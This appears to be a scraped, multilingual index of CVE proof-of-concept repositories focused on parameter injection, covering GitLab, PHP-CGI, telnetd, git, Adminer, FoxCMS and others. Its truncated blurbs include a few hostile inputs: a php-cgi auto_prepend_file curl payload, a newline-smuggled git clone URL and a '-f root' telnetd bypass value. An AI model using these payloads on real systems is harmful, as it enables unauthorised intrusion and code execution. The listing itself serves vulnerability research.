CVE-2023-7028

GitLab CVE-2023-7028 POC root@kitploit: [email protected]&[email protected] 科研机构base成都-招聘网络安全研究人员（私）...

hook

Hook Hook exploits a parameter injection vulnerability in the WatchGuard SSH interface. The vulnerability allows a low privileged user to exfiltrate arbitrary system files to an attacker controlled FTP server. Fortunately, there is a builtin low privileged user named status that this script...

CVE-2026-24061

GNU InetUtils telnetd 认证绕过漏洞（通过参数注入）- CVE-2026-24061 📚 简介 最近在 GNU InetUtils telnetd 中发现的一个参数注入漏洞，允许攻击者通过将 USER 环境变量设置为“-f root”来绕过认证。因此，远程未认证攻击者可以访问运行易受攻击的 telnetd 服务的系统，并将权限提升至 root。如果成功利用，该漏洞可能使攻击者能够访问敏感信息、更改系统设置并执行任意命令，最终可能导致系统完全被攻陷。...

CVE-2024-50340

CVE-2024-50340 POC 环境要求 必须在 PHP 配置文件（php.ini）中启用 registerargcargv 选项。该设置会将命令行参数和查询参数加载到 $SERVER'argv' 中。 https://www.php.net/manual/en/ini.core.phpini.register-argc-argv 漏洞代码说明 以下 Symfony 代码使用输入参数（ArgvInput）来确定某些环境变量的值，特别是 APPENV 和 APPDEBUG。以下是 Symfony 代码的相关部分： root@kitploit:...

CVE-2024-4577

연구 목적으로만 기본 XAMPP용 PoC root@kitploit: curl -v -d "" http://127.0.0.1/php-cgi/php-cgi.exe/?%add+allowurlinclude%3Don+-d+autoprependfile%3Dphp%3A//input+-d+cgi.forceredirect%3D0...

CVE-2025-29306

CVE-2025-29306 Vulnérabilité d'injection de paramètres de service dans le système de gestion de contenu FOXCMS Qianhu 1. Introduction de la vulnérabilité FoxCMS est un système de gestion de sites Web open source et gratuit pour un usage commercial, reposant sur une architecture PHP+MySQL. Le...

cve-2020-5260

cve-2020-5260 一个针对 cve-2020-5260 的 HTTP PoC 端点，可部署到 Heroku 致谢信息 Google Project Zero 的 Felix Wilhelm https://bugs.chromium.org/p/project-zero/issues/detail?id=2021 触发漏洞 root@kitploit: git clone 'https://YourHerokuAppNameAndNotMine.herokuapp.com?%0ahost=github.com%0aprotocol=ssh' 将 PoC 部署到 Heroku...

CVE-2020-6308-PoC

CVE-2020-6308 SAP POC SAP BusinessObjects Business Intelligence Platform Web Services バージョン 410、420、430 には、認証されていない攻撃者が CMS パラメータとして任意の値を注入し、外部からはアクセスできない内部ネットワークに対してルックアップを実行できるという脆弱性があります。質問がある場合は Twitter でフォローするか DM を送ってください: https://twitter.com/initroott...

php-cgi-Injector

PHP-CGI Injector 🚀 CVE-2024-4577 और CVE-2024-8926 शोषण उपकरण PHP-CGI पैरामीटर इंजेक्शन भेद्यता के लिए एक स्वचालित परीक्षण उपकरण, जो CVE-2024-4577 और CVE-2024-8926 का समर्थन करता है, और कमांड निष्पादन, फ़ाइल अपलोड, डाउनलोड आदि संचालन कर सकता है। 📌 परिचय यह उपकरण PHP-CGI वातावरण में पैरामीटर इंजेक्...

CVE-2016-10033

CVE-2016-10033 – PHPMailer दूरस्थ कोड निष्पादन 📌 विवरण यह रिपॉजिटरी CVE-2016-10033 के लिए एक प्रूफ-ऑफ-कॉन्सेप्ट PoC शोषण कोड है, जो PHPMailer के 5.2.18 से पहले के संस्करणों में एक कमजोरी है। समस्या तब उत्पन्न होती है जब PHP के बिल्ट-इन mail फ़ंक्शन के $additionalparameters तर्क को अनुचित तरीके से...

django-connector-CVE-2025-64459-testbed

Django-CVE-2025-64459-Testbed Eine eigenständige Testumgebung für Django CVE-2025-64459. Demonstriert die Parameter-Injektion in QuerySet.filter mittels Dictionary-Expansion mit Docker. Über die Schwachstelle CVE-2025-64459 ist eine Schwachstelle mit hohem Schweregrad in Django insbesondere...

CVE-2025-54589

CVE-2025-54589 – Copyparty Reflected XSS Autor: Byte Reaper Beschreibung : Dieses Repository bietet einen Proof-of-Concept PoC und einen einfachen Exploit für CVE-2025-54589 , eine reflektierte Cross-Site Scripting XSS Schwachstelle in Copyparty ≤ 1.18.6. Durch das Injizieren manipulierter...

FOXCMS-CVE-2025-29306-POC

RCE per Iniezione di Parametri in FOXCMS – CVE-2025-29306 Questo repository contiene un PoC basato su Python per una vulnerabilità di Remote Code Execution RCE che colpisce FOXCMS v1.2, un sistema di gestione dei contenuti open-source cinese. ID CVE: CVE-2025-29306 Interessa: FOXCMS v1.2 Tipo:...

cve-2022-31749

CVE-2022-31749 von 1vere$k Einfacher PoC-Checker für CVE-2022-31749 von 1vere$k. Er nutzt eine Parameterinjektions-Schwachstelle in der WatchGuard SSH-Schnittstelle aus. Die Schwachstelle erlaubt es einem Benutzer mit niedrigen Berechtigungen, beliebige Systemdateien auf einen vom Angreifer...

CVE-2026-55993

camel-atmosphere-websocket Header-Injection-Reproducer CVE-2026-55993 Dieses Projekt demonstriert eine Message-Header-Injection in der Apache-Camel-Komponente camel-atmosphere-websocket, die als CVE-2026-55993 geführt wird. Der WebSocket-Consumer kopiert die Query-Parameter der Verbindung ohne...

CVE-2021-37833

CVE 2021-37833 Hotel Druid 3.0.2 Vulnerabilidade de Cross Site Scripting Refletido Uma vulnerabilidade de Cross Site Scripting refletido existe em várias páginas da versão 3.0.2 do aplicativo Hotel Druid, que permite a execução arbitrária de comandos JavaScript...

vBulletin-5.x-0day-pre-auth-RCE-exploit

vBulletin-5.x-0day-pre-auth-RCE-exploit Versions affectées : vBulletin 5.0.05.5.4 poc comme suit : !/usr/bin/python vBulletin 5.x 0day pre-auth RCE exploit This should work on all versions from 5.0.0 till 5.5.4 Google Dorks: - site:.vbulletin.net - "Powered by vBulletin Version 5.5.4" import...

CVE-2018-20580

CVE-2018-20580 Una prova di concetto per ReadyAPI 2.5.0/2.6.0 con Esecuzione di codice remoto e interazioni. Introduzione Nel dicembre 2018 ho trovato una nuova vulnerabilità in ReadyAPI. Essa permette a un attaccante di eseguire un codice remoto sulla macchina locale, mettendo in pericolo gli...

DEBIAN-CVE-2026-56705

Adminer before 5.4.3 fails to sanitize the server field before constructing a PDO DSN string, allowing unauthenticated attackers to inject ODBC parameters via semicolons. Attackers can inject TraceFile and TraceOn parameters to write PHP code to the web root, achieving remote code execution when...

CVE-2026-56705

Adminer before 5.4.3 fails to sanitize the server field before constructing a PDO DSN string, allowing unauthenticated attackers to inject ODBC parameters via semicolons. Attackers can inject TraceFile and TraceOn parameters to write PHP code to the web root, achieving remote code execution when...